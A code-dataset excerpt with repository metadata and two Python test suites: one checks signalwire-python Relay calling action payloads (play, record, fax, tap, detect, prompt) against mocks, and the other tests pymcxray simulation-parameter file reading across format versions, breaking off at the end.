2018-12-19T14:48:18.000Z
2022-01-11T03:58:36.000Z
signalwire/tests/relay/calling/test_actions.py
ramarketing/signalwire-python
c0663bdd0454faaa39f42af7c936cea1d43e1842
[ "MIT" ]
13
2018-10-17T12:57:54.000Z
2021-09-01T21:46:01.000Z
signalwire/tests/relay/calling/test_actions.py
ramarketing/signalwire-python
c0663bdd0454faaa39f42af7c936cea1d43e1842
[ "MIT" ]
12
2020-01-21T14:29:43.000Z
2022-01-11T07:48:06.000Z
import asyncio import json import pytest from unittest.mock import Mock, patch from signalwire.relay.calling.components.play import Play from signalwire.relay.calling.actions.play_action import PlayAction from signalwire.relay.calling.components.record import Record from signalwire.relay.calling.actions.record_action import RecordAction from signalwire.relay.calling.components.fax_send import FaxSend from signalwire.relay.calling.components.fax_receive import FaxReceive from signalwire.relay.calling.actions.fax_action import FaxAction from signalwire.relay.calling.components.tap import Tap from signalwire.relay.calling.actions.tap_action import TapAction from signalwire.relay.calling.components.detect import Detect from signalwire.relay.calling.actions.detect_action import DetectAction from signalwire.relay.calling.components.prompt import Prompt from signalwire.relay.calling.actions.prompt_action import PromptAction PLAY_STOP_PAYLOAD = json.loads('{"protocol":"signalwire-proto-test","method":"calling.play.stop","params":{"call_id":"call-id","node_id":"node-id","control_id":"control-id"}}') PLAY_PAUSE_PAYLOAD = json.loads('{"protocol":"signalwire-proto-test","method":"calling.play.pause","params":{"call_id":"call-id","node_id":"node-id","control_id":"control-id"}}') PLAY_RESUME_PAYLOAD = json.loads('{"protocol":"signalwire-proto-test","method":"calling.play.resume","params":{"call_id":"call-id","node_id":"node-id","control_id":"control-id"}}') PLAY_VOLUME_PAYLOAD = json.loads('{"protocol":"signalwire-proto-test","method":"calling.play.volume","params":{"call_id":"call-id","node_id":"node-id","control_id":"control-id","volume":4.1}}') RECORD_STOP_PAYLOAD = json.loads('{"protocol":"signalwire-proto-test","method":"calling.record.stop","params":{"call_id":"call-id","node_id":"node-id","control_id":"control-id"}}') RECEIVE_FAX_STOP_PAYLOAD = json.loads('{"protocol":"signalwire-proto-test","method":"calling.receive_fax.stop","params":{"call_id":"call-id","node_id":"node-id","control_id":"control-id"}}') SEND_FAX_STOP_PAYLOAD = json.loads('{"protocol":"signalwire-proto-test","method":"calling.send_fax.stop","params":{"call_id":"call-id","node_id":"node-id","control_id":"control-id"}}') TAP_STOP_PAYLOAD = json.loads('{"protocol":"signalwire-proto-test","method":"calling.tap.stop","params":{"call_id":"call-id","node_id":"node-id","control_id":"control-id"}}') DETECT_STOP_PAYLOAD = json.loads('{"protocol":"signalwire-proto-test","method":"calling.detect.stop","params":{"call_id":"call-id","node_id":"node-id","control_id":"control-id"}}') PROMPT_STOP_PAYLOAD = json.loads('{"protocol":"signalwire-proto-test","method":"calling.play_and_collect.stop","params":{"call_id":"call-id","node_id":"node-id","control_id":"control-id"}}') PROMPT_VOLUME_PAYLOAD = json.loads('{"protocol":"signalwire-proto-test","method":"calling.play_and_collect.volume","params":{"call_id":"call-id","node_id":"node-id","control_id":"control-id","volume":-5.4}}') @pytest.fixture() def play_action(relay_call): component = Play(relay_call, [{'type': 'audio', 'url': 'audio.mp3'}]) component.control_id = 'control-id' # force-mock control_id return PlayAction(component) @pytest.fixture() def record_action(relay_call): component = Record(relay_call, beep=True, terminators='#') component.control_id = 'control-id' # force-mock control_id return RecordAction(component) @pytest.fixture() def send_fax_action(relay_call): component = FaxSend(relay_call, document='file.pdf') component.control_id = 'control-id' # force-mock control_id return FaxAction(component) @pytest.fixture() def receive_fax_action(relay_call): component = FaxReceive(relay_call) component.control_id = 'control-id' # force-mock control_id return FaxAction(component) @pytest.fixture() def tap_action(relay_call): component = Tap(relay_call, audio_direction='both', target_type='rtp') component.control_id = 'control-id' # force-mock control_id return TapAction(component) @pytest.fixture() def detect_action(relay_call): component = Detect(relay_call, 'machine') component.control_id = 'control-id' # force-mock control_id return DetectAction(component) @pytest.fixture() def prompt_action(relay_call): component = Prompt(relay_call, 'both', []) component.control_id = 'control-id' # force-mock control_id return PromptAction(component) @pytest.mark.asyncio async def test_play_action_stop_with_success(success_response, relay_call, play_action): relay_call.calling.client.execute = success_response result = await play_action.stop() assert result.successful msg = relay_call.calling.client.execute.mock.call_args[0][0] assert msg.params == PLAY_STOP_PAYLOAD relay_call.calling.client.execute.mock.assert_called_once() @pytest.mark.asyncio async def test_play_action_stop_with_failure(fail_response, relay_call, play_action): relay_call.calling.client.execute = fail_response result = await play_action.stop() assert not result.successful msg = relay_call.calling.client.execute.mock.call_args[0][0] assert msg.params == PLAY_STOP_PAYLOAD relay_call.calling.client.execute.mock.assert_called_once() @pytest.mark.asyncio async def test_play_action_pause_with_success(success_response, relay_call, play_action): relay_call.calling.client.execute = success_response result = await play_action.pause() assert result.successful msg = relay_call.calling.client.execute.mock.call_args[0][0] assert msg.params == PLAY_PAUSE_PAYLOAD relay_call.calling.client.execute.mock.assert_called_once() @pytest.mark.asyncio async def test_play_action_pause_with_failure(fail_response, relay_call, play_action): relay_call.calling.client.execute = fail_response result = await play_action.pause() assert not result.successful msg = relay_call.calling.client.execute.mock.call_args[0][0] assert msg.params == PLAY_PAUSE_PAYLOAD relay_call.calling.client.execute.mock.assert_called_once() @pytest.mark.asyncio async def test_play_action_resume_with_success(success_response, relay_call, play_action): relay_call.calling.client.execute = success_response result = await play_action.resume() assert result.successful msg = relay_call.calling.client.execute.mock.call_args[0][0] assert msg.params == PLAY_RESUME_PAYLOAD relay_call.calling.client.execute.mock.assert_called_once() @pytest.mark.asyncio async def test_play_action_resume_with_failure(fail_response, relay_call, play_action): relay_call.calling.client.execute = fail_response result = await play_action.resume() assert not result.successful msg = relay_call.calling.client.execute.mock.call_args[0][0] assert msg.params == PLAY_RESUME_PAYLOAD relay_call.calling.client.execute.mock.assert_called_once() @pytest.mark.asyncio async def test_play_action_volume_with_success(success_response, relay_call, play_action): relay_call.calling.client.execute = success_response result = await play_action.volume(4.1) assert result.successful msg = relay_call.calling.client.execute.mock.call_args[0][0] assert msg.params == PLAY_VOLUME_PAYLOAD relay_call.calling.client.execute.mock.assert_called_once() @pytest.mark.asyncio async def test_play_action_volume_with_failure(fail_response, relay_call, play_action): relay_call.calling.client.execute = fail_response result = await play_action.volume(4.1) assert not result.successful msg = relay_call.calling.client.execute.mock.call_args[0][0] assert msg.params == PLAY_VOLUME_PAYLOAD relay_call.calling.client.execute.mock.assert_called_once() @pytest.mark.asyncio async def test_record_action_stop_with_success(success_response, relay_call, record_action): relay_call.calling.client.execute = success_response result = await record_action.stop() assert result.successful msg = relay_call.calling.client.execute.mock.call_args[0][0] assert msg.params == RECORD_STOP_PAYLOAD relay_call.calling.client.execute.mock.assert_called_once() @pytest.mark.asyncio async def test_record_action_stop_with_failure(fail_response, relay_call, record_action): relay_call.calling.client.execute = fail_response result = await record_action.stop() assert not result.successful msg = relay_call.calling.client.execute.mock.call_args[0][0] assert msg.params == RECORD_STOP_PAYLOAD relay_call.calling.client.execute.mock.assert_called_once() @pytest.mark.asyncio async def test_send_fax_action_stop_with_success(success_response, relay_call, send_fax_action): relay_call.calling.client.execute = success_response result = await send_fax_action.stop() assert result.successful msg = relay_call.calling.client.execute.mock.call_args[0][0] assert msg.params == SEND_FAX_STOP_PAYLOAD relay_call.calling.client.execute.mock.assert_called_once() @pytest.mark.asyncio async def test_send_fax_action_stop_with_failure(fail_response, relay_call, send_fax_action): relay_call.calling.client.execute = fail_response result = await send_fax_action.stop() assert not result.successful msg = relay_call.calling.client.execute.mock.call_args[0][0] assert msg.params == SEND_FAX_STOP_PAYLOAD relay_call.calling.client.execute.mock.assert_called_once() @pytest.mark.asyncio async def test_receive_fax_action_stop_with_success(success_response, relay_call, receive_fax_action): relay_call.calling.client.execute = success_response result = await receive_fax_action.stop() assert result.successful msg = relay_call.calling.client.execute.mock.call_args[0][0] assert msg.params == RECEIVE_FAX_STOP_PAYLOAD relay_call.calling.client.execute.mock.assert_called_once() @pytest.mark.asyncio async def test_receive_fax_action_stop_with_failure(fail_response, relay_call, receive_fax_action): relay_call.calling.client.execute = fail_response result = await receive_fax_action.stop() assert not result.successful msg = relay_call.calling.client.execute.mock.call_args[0][0] assert msg.params == RECEIVE_FAX_STOP_PAYLOAD @pytest.mark.asyncio async def test_tap_action_stop_with_success(success_response, relay_call, tap_action): relay_call.calling.client.execute = success_response result = await tap_action.stop() assert result.successful msg = relay_call.calling.client.execute.mock.call_args[0][0] assert msg.params == TAP_STOP_PAYLOAD relay_call.calling.client.execute.mock.assert_called_once() @pytest.mark.asyncio async def test_tap_action_stop_with_failure(fail_response, relay_call, tap_action): relay_call.calling.client.execute = fail_response result = await tap_action.stop() assert not result.successful msg = relay_call.calling.client.execute.mock.call_args[0][0] assert msg.params == TAP_STOP_PAYLOAD relay_call.calling.client.execute.mock.assert_called_once() @pytest.mark.asyncio async def test_detect_action_stop_with_success(success_response, relay_call, detect_action): relay_call.calling.client.execute = success_response result = await detect_action.stop() assert result.successful msg = relay_call.calling.client.execute.mock.call_args[0][0] assert msg.params == DETECT_STOP_PAYLOAD relay_call.calling.client.execute.mock.assert_called_once() @pytest.mark.asyncio async def test_detect_action_stop_with_failure(fail_response, relay_call, detect_action): relay_call.calling.client.execute = fail_response result = await detect_action.stop() assert not result.successful msg = relay_call.calling.client.execute.mock.call_args[0][0] assert msg.params == DETECT_STOP_PAYLOAD relay_call.calling.client.execute.mock.assert_called_once() @pytest.mark.asyncio async def test_prompt_action_stop_with_success(success_response, relay_call, prompt_action): relay_call.calling.client.execute = success_response result = await prompt_action.stop() assert result.successful msg = relay_call.calling.client.execute.mock.call_args[0][0] assert msg.params == PROMPT_STOP_PAYLOAD relay_call.calling.client.execute.mock.assert_called_once() @pytest.mark.asyncio async def test_prompt_action_stop_with_failure(fail_response, relay_call, prompt_action): relay_call.calling.client.execute = fail_response result = await prompt_action.stop() assert not result.successful msg = relay_call.calling.client.execute.mock.call_args[0][0] assert msg.params == PROMPT_STOP_PAYLOAD relay_call.calling.client.execute.mock.assert_called_once() @pytest.mark.asyncio async def test_prompt_action_volume_with_success(success_response, relay_call, prompt_action): relay_call.calling.client.execute = success_response result = await prompt_action.volume(-5.4) assert result.successful msg = relay_call.calling.client.execute.mock.call_args[0][0] assert msg.params == PROMPT_VOLUME_PAYLOAD relay_call.calling.client.execute.mock.assert_called_once() @pytest.mark.asyncio async def test_prompt_action_volume_with_failure(fail_response, relay_call, prompt_action): relay_call.calling.client.execute = fail_response result = await prompt_action.volume(-5.4) assert not result.successful msg = relay_call.calling.client.execute.mock.call_args[0][0] assert msg.params == PROMPT_VOLUME_PAYLOAD relay_call.calling.client.execute.mock.assert_called_once()
48.977695
208
0.79871
1,908
13,175
5.243187
0.046646
0.090864
0.103958
0.142943
0.904238
0.859956
0.852159
0.846961
0.837265
0.829068
0
0.004703
0.080152
13,175
268
209
49.160448
0.820777
0.011613
0
0.710084
0
0.046218
0.134624
0.125557
0
0
0
0
0.273109
1
0.029412
false
0
0.071429
0
0.130252
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
af0e4ac6de9c87b595340c85ab2ff9ad18647454
37,389
py
Python
pymcxray/FileFormat/test_SimulationParameters.py
drix00/pymcxray
bf650aa0f31c635040a6cb79fe1cb7ecf27b8990
[ "Apache-2.0" ]
1
2020-07-23T12:13:30.000Z
2020-07-23T12:13:30.000Z
pymcxray/FileFormat/test_SimulationParameters.py
drix00/pymcxray
bf650aa0f31c635040a6cb79fe1cb7ecf27b8990
[ "Apache-2.0" ]
3
2017-03-05T16:09:30.000Z
2017-03-05T16:11:41.000Z
pymcxray/FileFormat/test_SimulationParameters.py
drix00/pymcxray
bf650aa0f31c635040a6cb79fe1cb7ecf27b8990
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python """ .. py:currentmodule:: FileFormat.test_SimulationParameters .. moduleauthor:: Hendrix Demers <hendrix.demers@mail.mcgill.ca> Tests for module `SimulationParameters`. """ # Script information for the file. __author__ = "Hendrix Demers (hendrix.demers@mail.mcgill.ca)" __version__ = "" __date__ = "" __copyright__ = "Copyright (c) 2012 Hendrix Demers" __license__ = "" # Subversion informations for the file. __svnRevision__ = "$Revision$" __svnDate__ = "$Date$" __svnId__ = "$Id$" # Standard library modules. import unittest import logging import os.path import copy # Third party modules. from nose.plugins.skip import SkipTest # Local modules. # Project modules import pymcxray.FileFormat.SimulationParameters as SimulationParameters import pymcxray.FileFormat.testUtilities as testUtilities import pymcxray.FileFormat.Version as Version # Globals and constants variables. class TestSimulationParameters(unittest.TestCase): """ TestCase class for the module `SimulationParameters`. """ def setUp(self): """ Setup method. """ unittest.TestCase.setUp(self) self.testDataPath = os.path.abspath(os.path.join(os.path.dirname(__file__), "../../test_data")) self.tempDataPath = testUtilities.createTempDataPath(self.testDataPath) def tearDown(self): """ Teardown method. """ unittest.TestCase.tearDown(self) testUtilities.removeTempDataPath(self.tempDataPath) def testSkeleton(self): """ First test to check if the testcase is working with the testing framework. """ #self.fail("Test if the testcase is working.") self.assert_(True) def test_read(self): """ Tests for method `read`. """ for title in testUtilities.getSimulationTitles(): simulationParameters = SimulationParameters.SimulationParameters() filepath = os.path.abspath(os.path.join(self.testDataPath, "%s/%s.par" % (title, title))) simulationParameters.read(filepath) simulationParametersRef = self.getSimulationParametersReference(title) self.assertEquals(simulationParametersRef.baseFilename, simulationParameters.baseFilename) self.assertEquals(simulationParametersRef.numberElectrons, simulationParameters.numberElectrons) self.assertEquals(simulationParametersRef.numberPhotons, simulationParameters.numberPhotons) self.assertEquals(simulationParametersRef.numberWindows, simulationParameters.numberWindows) self.assertEquals(simulationParametersRef.numberFilmsX, simulationParameters.numberFilmsX) self.assertEquals(simulationParametersRef.numberFilmsY, simulationParameters.numberFilmsY) self.assertEquals(simulationParametersRef.numberFilmsZ, simulationParameters.numberFilmsZ) self.assertEquals(simulationParametersRef.numberChannels, simulationParameters.numberChannels) self.assertEquals(simulationParametersRef.energyChannelWidth_eV, simulationParameters.energyChannelWidth_eV) self.assertEquals(simulationParametersRef.spectrumInterpolationModel, simulationParameters.spectrumInterpolationModel) self.assertEquals(simulationParametersRef.voxelSimplification, simulationParameters.voxelSimplification, title) #self.fail("Test if the testcase is working.") def test_read_1_1_1(self): """ Tests for method `read`. """ simulationParameters = SimulationParameters.SimulationParameters() title = "AlMgBulk5keV_version_1_1_1" filepath = os.path.abspath(os.path.join(self.testDataPath, "inputs", "%s.par" % (title))) simulationParameters.read(filepath) self.assertEquals(Version.VERSION_1_1_1.major, simulationParameters.version.major) self.assertEquals(Version.VERSION_1_1_1.minor, simulationParameters.version.minor) self.assertEquals(Version.VERSION_1_1_1.revision, simulationParameters.version.revision) self.assertEquals(Version.VERSION_1_1_1, simulationParameters.version) simulationParametersRef = self.getSimulationParametersReference(title) self.assertEquals(simulationParametersRef.version.major, simulationParameters.version.major) self.assertEquals(simulationParametersRef.version.minor, simulationParameters.version.minor) self.assertEquals(simulationParametersRef.version.revision, simulationParameters.version.revision) self.assertEquals(simulationParametersRef.version, simulationParameters.version) self.assertEquals(simulationParametersRef.baseFilename, simulationParameters.baseFilename) self.assertEquals(simulationParametersRef.numberElectrons, simulationParameters.numberElectrons) self.assertEquals(simulationParametersRef.numberPhotons, simulationParameters.numberPhotons) self.assertEquals(simulationParametersRef.numberWindows, simulationParameters.numberWindows) self.assertEquals(simulationParametersRef.numberFilmsX, simulationParameters.numberFilmsX) self.assertEquals(simulationParametersRef.numberFilmsY, simulationParameters.numberFilmsY) self.assertEquals(simulationParametersRef.numberFilmsZ, simulationParameters.numberFilmsZ) self.assertEquals(simulationParametersRef.numberChannels, simulationParameters.numberChannels) self.assertEquals(simulationParametersRef.energyChannelWidth_eV, simulationParameters.energyChannelWidth_eV) self.assertEquals(simulationParametersRef.spectrumInterpolationModel, simulationParameters.spectrumInterpolationModel) self.assertEquals(simulationParametersRef.voxelSimplification, simulationParameters.voxelSimplification, title) #self.fail("Test if the testcase is working.") def test_read_1_2_0(self): """ Tests for method `read`. """ simulationParameters = SimulationParameters.SimulationParameters() title = "AlMgBulk5keV_version_1_2_0" filepath = os.path.abspath(os.path.join(self.testDataPath, "inputs", "%s.par" % (title))) simulationParameters.read(filepath) self.assertEquals(Version.VERSION_1_2_0.major, simulationParameters.version.major) self.assertEquals(Version.VERSION_1_2_0.minor, simulationParameters.version.minor) self.assertEquals(Version.VERSION_1_2_0.revision, simulationParameters.version.revision) self.assertEquals(Version.VERSION_1_2_0, simulationParameters.version) simulationParametersRef = self.getSimulationParametersReference(title) self.assertEquals(simulationParametersRef.version.major, simulationParameters.version.major) self.assertEquals(simulationParametersRef.version.minor, simulationParameters.version.minor) self.assertEquals(simulationParametersRef.version.revision, simulationParameters.version.revision) self.assertEquals(simulationParametersRef.version, simulationParameters.version) self.assertEquals(simulationParametersRef.baseFilename, simulationParameters.baseFilename) self.assertEquals(simulationParametersRef.numberElectrons, simulationParameters.numberElectrons) self.assertEquals(simulationParametersRef.numberPhotons, simulationParameters.numberPhotons) self.assertEquals(simulationParametersRef.numberWindows, simulationParameters.numberWindows) self.assertEquals(simulationParametersRef.numberFilmsX, simulationParameters.numberFilmsX) self.assertEquals(simulationParametersRef.numberFilmsY, simulationParameters.numberFilmsY) self.assertEquals(simulationParametersRef.numberFilmsZ, simulationParameters.numberFilmsZ) self.assertEquals(simulationParametersRef.numberChannels, simulationParameters.numberChannels) self.assertEquals(simulationParametersRef.energyChannelWidth_eV, simulationParameters.energyChannelWidth_eV) self.assertEquals(simulationParametersRef.spectrumInterpolationModel, simulationParameters.spectrumInterpolationModel) self.assertEquals(simulationParametersRef.voxelSimplification, simulationParameters.voxelSimplification, title) #self.fail("Test if the testcase is working.") def test_read_1_2_1(self): """ Tests for method `read`. """ simulationParameters = SimulationParameters.SimulationParameters() title = "AlMgBulk5keV_version_1_2_1" filepath = os.path.abspath(os.path.join(self.testDataPath, "inputs", "%s.par" % (title))) simulationParameters.read(filepath) self.assertEquals(Version.VERSION_1_2_1.major, simulationParameters.version.major) self.assertEquals(Version.VERSION_1_2_1.minor, simulationParameters.version.minor) self.assertEquals(Version.VERSION_1_2_1.revision, simulationParameters.version.revision) self.assertEquals(Version.VERSION_1_2_1, simulationParameters.version) simulationParametersRef = self.getSimulationParametersReference(title) self.assertEquals(simulationParametersRef.version.major, simulationParameters.version.major) self.assertEquals(simulationParametersRef.version.minor, simulationParameters.version.minor) self.assertEquals(simulationParametersRef.version.revision, simulationParameters.version.revision) self.assertEquals(simulationParametersRef.version, simulationParameters.version) self.assertEquals(simulationParametersRef.baseFilename, simulationParameters.baseFilename) self.assertEquals(simulationParametersRef.numberElectrons, simulationParameters.numberElectrons) self.assertEquals(simulationParametersRef.numberPhotons, simulationParameters.numberPhotons) self.assertEquals(simulationParametersRef.numberWindows, simulationParameters.numberWindows) self.assertEquals(simulationParametersRef.numberFilmsX, simulationParameters.numberFilmsX) self.assertEquals(simulationParametersRef.numberFilmsY, simulationParameters.numberFilmsY) self.assertEquals(simulationParametersRef.numberFilmsZ, simulationParameters.numberFilmsZ) self.assertEquals(simulationParametersRef.numberChannels, simulationParameters.numberChannels) self.assertEquals(simulationParametersRef.energyChannelWidth_eV, simulationParameters.energyChannelWidth_eV) self.assertEquals(simulationParametersRef.spectrumInterpolationModel, simulationParameters.spectrumInterpolationModel) self.assertEquals(simulationParametersRef.voxelSimplification, simulationParameters.voxelSimplification, title) #self.fail("Test if the testcase is working.") def test_read_1_4_1(self): """ Tests for method `read`. """ simulationParameters = SimulationParameters.SimulationParameters() title = "AlMgBulk5keV_version_1_4_1" filepath = os.path.abspath(os.path.join(self.testDataPath, "inputs", "%s.par" % (title))) simulationParameters.read(filepath) self.assertEquals(Version.VERSION_1_4_1.major, simulationParameters.version.major) self.assertEquals(Version.VERSION_1_4_1.minor, simulationParameters.version.minor) self.assertEquals(Version.VERSION_1_4_1.revision, simulationParameters.version.revision) self.assertEquals(Version.VERSION_1_4_1, simulationParameters.version) simulationParametersRef = self.getSimulationParametersReference(title) self.assertEquals(simulationParametersRef.version.major, simulationParameters.version.major) self.assertEquals(simulationParametersRef.version.minor, simulationParameters.version.minor) self.assertEquals(simulationParametersRef.version.revision, simulationParameters.version.revision) self.assertEquals(simulationParametersRef.version, simulationParameters.version) self.assertEquals(simulationParametersRef.baseFilename, simulationParameters.baseFilename) self.assertEquals(simulationParametersRef.numberElectrons, simulationParameters.numberElectrons) self.assertEquals(simulationParametersRef.numberPhotons, simulationParameters.numberPhotons) self.assertEquals(simulationParametersRef.numberWindows, simulationParameters.numberWindows) self.assertEquals(simulationParametersRef.numberFilmsX, simulationParameters.numberFilmsX) self.assertEquals(simulationParametersRef.numberFilmsY, simulationParameters.numberFilmsY) self.assertEquals(simulationParametersRef.numberFilmsZ, simulationParameters.numberFilmsZ) self.assertEquals(simulationParametersRef.numberChannels, simulationParameters.numberChannels) self.assertEquals(simulationParametersRef.energyChannelWidth_eV, simulationParameters.energyChannelWidth_eV) self.assertEquals(simulationParametersRef.spectrumInterpolationModel, simulationParameters.spectrumInterpolationModel) self.assertEquals(simulationParametersRef.voxelSimplification, simulationParameters.voxelSimplification, title) #self.fail("Test if the testcase is working.") def test_read_1_4_4(self): """ Tests for method `read`. """ simulationParameters = SimulationParameters.SimulationParameters() title = "AlMgBulk5keV_version_1_4_4" filepath = os.path.abspath(os.path.join(self.testDataPath, "inputs", "%s.par" % (title))) simulationParameters.read(filepath) self.assertEquals(Version.VERSION_1_4_4.major, simulationParameters.version.major) self.assertEquals(Version.VERSION_1_4_4.minor, simulationParameters.version.minor) self.assertEquals(Version.VERSION_1_4_4.revision, simulationParameters.version.revision) self.assertEquals(Version.VERSION_1_4_4, simulationParameters.version) simulationParametersRef = self.getSimulationParametersReference(title) self.assertEquals(simulationParametersRef.version.major, simulationParameters.version.major) self.assertEquals(simulationParametersRef.version.minor, simulationParameters.version.minor) self.assertEquals(simulationParametersRef.version.revision, simulationParameters.version.revision) self.assertEquals(simulationParametersRef.version, simulationParameters.version) self.assertEquals(simulationParametersRef.baseFilename, simulationParameters.baseFilename) self.assertEquals(simulationParametersRef.numberElectrons, simulationParameters.numberElectrons) self.assertEquals(simulationParametersRef.numberPhotons, simulationParameters.numberPhotons) self.assertEquals(simulationParametersRef.numberWindows, simulationParameters.numberWindows) self.assertEquals(simulationParametersRef.numberFilmsX, simulationParameters.numberFilmsX) self.assertEquals(simulationParametersRef.numberFilmsY, simulationParameters.numberFilmsY) self.assertEquals(simulationParametersRef.numberFilmsZ, simulationParameters.numberFilmsZ) self.assertEquals(simulationParametersRef.numberChannels, simulationParameters.numberChannels) self.assertEquals(simulationParametersRef.energyChannelWidth_eV, simulationParameters.energyChannelWidth_eV) self.assertEquals(simulationParametersRef.spectrumInterpolationModel, simulationParameters.spectrumInterpolationModel) self.assertEquals(simulationParametersRef.voxelSimplification, simulationParameters.voxelSimplification, title) self.assertEquals(simulationParametersRef.elasticCrossSectionScalingFactor, simulationParameters.elasticCrossSectionScalingFactor) self.assertEquals(simulationParametersRef.energyLossScalingFactor, simulationParameters.energyLossScalingFactor) #self.fail("Test if the testcase is working.") def getSimulationParametersReference(self, title): simulationParameters = SimulationParameters.SimulationParameters() if title == "AuBC cyl": baseFilenameRef = r"Results\%s Low Count" % (title) simulationParameters.baseFilename = baseFilenameRef simulationParameters.numberElectrons = 20 simulationParameters.numberPhotons = 500 simulationParameters.numberWindows = 32 simulationParameters.numberFilmsX = 64 simulationParameters.numberFilmsY = 64 simulationParameters.numberFilmsZ = 64 simulationParameters.numberChannels = 1024 simulationParameters.spectrumInterpolationModel = 2 simulationParameters.voxelSimplification = None elif title == "BioRitchieNew111017": baseFilenameRef = r"Results\Ritchie60" simulationParameters.baseFilename = baseFilenameRef simulationParameters.numberElectrons = 50 simulationParameters.numberPhotons = 10000 simulationParameters.numberWindows = 64 simulationParameters.numberFilmsX = 128 simulationParameters.numberFilmsY = 128 simulationParameters.numberFilmsZ = 128 simulationParameters.numberChannels = 1024 simulationParameters.spectrumInterpolationModel = 2 simulationParameters.voxelSimplification = 1 elif title == "Bug Al Zr Sphere": baseFilenameRef = r"Results\McXRay" simulationParameters.baseFilename = baseFilenameRef simulationParameters.numberElectrons = 1000 simulationParameters.numberPhotons = 10000 simulationParameters.numberWindows = 64 simulationParameters.numberFilmsX = 128 simulationParameters.numberFilmsY = 128 simulationParameters.numberFilmsZ = 128 simulationParameters.numberChannels = 1024 simulationParameters.spectrumInterpolationModel = 2 simulationParameters.voxelSimplification = None elif title == "Mg2SiAlCube3kev": baseFilenameRef = r"Results\%s" % (title) simulationParameters.baseFilename = baseFilenameRef simulationParameters.numberElectrons = 30 simulationParameters.numberPhotons = 1000 simulationParameters.numberWindows = 32 simulationParameters.numberFilmsX = 64 simulationParameters.numberFilmsY = 64 simulationParameters.numberFilmsZ = 64 simulationParameters.numberChannels = 1024 simulationParameters.spectrumInterpolationModel = 2 simulationParameters.voxelSimplification = None elif title == "AlMgBulk5keV_version_1_1_1": baseFilenameRef = r"Results\%s" % ("AlMgBulk5keV") simulationParameters.baseFilename = baseFilenameRef simulationParameters.version = Version.Version(1, 1, 1) simulationParameters.numberElectrons = 1000 simulationParameters.numberPhotons = 127678 simulationParameters.numberWindows = 64 simulationParameters.numberFilmsX = 128 simulationParameters.numberFilmsY = 128 simulationParameters.numberFilmsZ = 128 simulationParameters.numberChannels = 1024 simulationParameters.spectrumInterpolationModel = 2 simulationParameters.voxelSimplification = None elif title == "AlMgBulk5keV_version_1_2_0": baseFilenameRef = r"Results\%s" % ("AlMgBulk5keV_1_2_0") simulationParameters.baseFilename = baseFilenameRef simulationParameters.version = Version.Version(1, 2, 0) simulationParameters.numberElectrons = 10000 simulationParameters.numberPhotons = 1000 simulationParameters.numberWindows = 128 simulationParameters.numberFilmsX = 64 simulationParameters.numberFilmsY = 66 simulationParameters.numberFilmsZ = 70 simulationParameters.energyChannelWidth_eV = 5 simulationParameters.spectrumInterpolationModel = 1 simulationParameters.voxelSimplification = None elif title == "AlMgBulk5keV_version_1_2_1": baseFilenameRef = r"Results\%s" % ("AlMgBulk5keV_1_2_1") simulationParameters.baseFilename = baseFilenameRef simulationParameters.version = Version.Version(1, 2, 1) simulationParameters.numberElectrons = 10000 simulationParameters.numberPhotons = 1000 simulationParameters.numberWindows = 128 simulationParameters.numberFilmsX = 64 simulationParameters.numberFilmsY = 66 simulationParameters.numberFilmsZ = 70 simulationParameters.energyChannelWidth_eV = 5 simulationParameters.spectrumInterpolationModel = 1 simulationParameters.voxelSimplification = None elif title == "AlMgBulk5keV_version_1_4_1": baseFilenameRef = r"Results\%s" % ("AlMgBulk5keV_1_4_1") simulationParameters.baseFilename = baseFilenameRef simulationParameters.version = Version.Version(1, 4, 1) simulationParameters.numberElectrons = 10000 simulationParameters.numberPhotons = 1000 simulationParameters.numberWindows = 128 simulationParameters.numberFilmsX = 64 simulationParameters.numberFilmsY = 66 simulationParameters.numberFilmsZ = 70 simulationParameters.energyChannelWidth_eV = 5 simulationParameters.spectrumInterpolationModel = 1 simulationParameters.voxelSimplification = None elif title == "AlMgBulk5keV_version_1_4_4": baseFilenameRef = r"Results\%s" % ("AlMgBulk5keV_1_4_4") simulationParameters.baseFilename = baseFilenameRef simulationParameters.version = Version.Version(1, 4, 4) simulationParameters.numberElectrons = 10000 simulationParameters.numberPhotons = 1000 simulationParameters.numberWindows = 128 simulationParameters.numberFilmsX = 64 simulationParameters.numberFilmsY = 66 simulationParameters.numberFilmsZ = 70 simulationParameters.energyChannelWidth_eV = 5 simulationParameters.spectrumInterpolationModel = 1 simulationParameters.voxelSimplification = None simulationParameters.elasticCrossSectionScalingFactor = 1.3 simulationParameters.energyLossScalingFactor = 0.7 return simulationParameters def test__createKeys(self): """ Tests for method `_createKeys`. """ simulationParameters = SimulationParameters.SimulationParameters() simulationParameters.version = copy.deepcopy(Version.VERSION_1_4_3) numberKeys = 10 keys = simulationParameters._createKeys() self.assertEquals(numberKeys, len(keys)) simulationParameters.version = copy.deepcopy(Version.VERSION_1_4_4) numberKeys = 12 keys = simulationParameters._createKeys() self.assertEquals(numberKeys, len(keys)) #self.fail("Test if the testcase is working.") def test_write(self): """ Tests for method `write`. """ raise SkipTest self.maxDiff = None for title in testUtilities.getSimulationTitles(): simulationParametersRef = self.getSimulationParametersReference(title) filepathReference = os.path.abspath(os.path.join(self.testDataPath, "%s/%s.par" % (title, title))) filepath = os.path.join(self.tempDataPath, "%s.par" % (title)) simulationParameters = SimulationParameters.SimulationParameters() simulationParameters = simulationParametersRef simulationParameters.write(filepath) self.assertEquals(simulationParametersRef.baseFilename, simulationParameters.baseFilename) self.assertEquals(simulationParametersRef.numberElectrons, simulationParameters.numberElectrons) self.assertEquals(simulationParametersRef.numberPhotons, simulationParameters.numberPhotons) self.assertEquals(simulationParametersRef.numberWindows, simulationParameters.numberWindows) self.assertEquals(simulationParametersRef.numberFilmsX, simulationParameters.numberFilmsX) self.assertEquals(simulationParametersRef.numberFilmsY, simulationParameters.numberFilmsY) self.assertEquals(simulationParametersRef.numberFilmsZ, simulationParameters.numberFilmsZ) self.assertEquals(simulationParametersRef.numberChannels, simulationParameters.numberChannels) self.assertEquals(simulationParametersRef.energyChannelWidth_eV, simulationParameters.energyChannelWidth_eV) self.assertEquals(simulationParametersRef.spectrumInterpolationModel, simulationParameters.spectrumInterpolationModel) self.assertEquals(simulationParametersRef.voxelSimplification, simulationParameters.voxelSimplification, title) linesRef = open(filepathReference, 'r').readlines() lines = open(filepath, 'r').readlines() self.assertListEqual(linesRef, lines) #self.fail("Test if the testcase is working.") def 